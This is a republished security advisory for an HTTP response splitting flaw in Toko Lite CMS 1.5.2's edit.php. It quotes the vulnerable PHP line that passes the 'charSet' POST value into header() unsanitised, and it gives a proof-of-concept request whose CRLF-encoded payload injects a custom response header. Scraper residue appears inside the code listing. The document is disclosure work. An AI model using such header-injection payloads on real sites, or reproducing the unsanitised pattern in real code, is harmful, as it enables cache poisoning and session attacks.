Toko Lite CMS 1.5.2 (edit.php) HTTP Response Splitting Vulnerability
开发者: Toko
产品主页: http://toko-contenteditor.pageil.net
受影响版本: 1.5.2
Summary: Toko Web Content Editor cms is a compact, multi language, open
source web editor and content management system (CMS). It is advanced
easy to use yet fully featured program that can be integrated with any
existing site. It takes 2 minuets to install even for non technical users.
Desc: Input passed to the 'charSet' parameter in 'edit.php' is not properly
sanitised before being returned to the user. This can be exploited to insert
arbitrary HTTP headers, which are included in a response sent to the user.
====================================================================
/edit.php:
--------------------------------------------------------------------
3: $charSet = "iso-8859-1";
4: $dir = "ltr";
5:
6: if ( isset( $_POST[ "charSet" ] ) )
7: {
8: $charSet = $_POST[ "charSet" ];
9:
10: if ( $charSet == "windows-1255" )
11: {
12: $dir = "rtl";
13: }
14: }
15: HdhCmsTest2cto测试数据
16: header( "Content-Type: text/html; charset=" . $charSet );
====================================================================
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2011-5048
Advisory URL: http://HdhCmsTestzeroscience.mk/en/vulnerabilities/ZSL-2011-5048.php
CWE ID: 113
22.03.2011
------------
POST /tokolite1.5.2/edit.php HTTP/1.1
Content-Length: 55
Content-Type: application/x-www-form-urlencoded
Cookie: PHP SESSID=as9l9t0a7rs9pmuflb7c5s9o70; pma_fontsize=82%25
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
charSet=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection
--
HTTP/1.1 302 Found
Date: Tue, 22 Mar 2011 03:57:30 GMT
Server: Apache/2.2.14 (Win32)
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: Login.php
Content-Length: 0
Keep-Alive: timeout=5, max=64
Connection: Keep-Alive
Content-Type: text/ html ; charset=
ZSL-Custom-Header: love_injection
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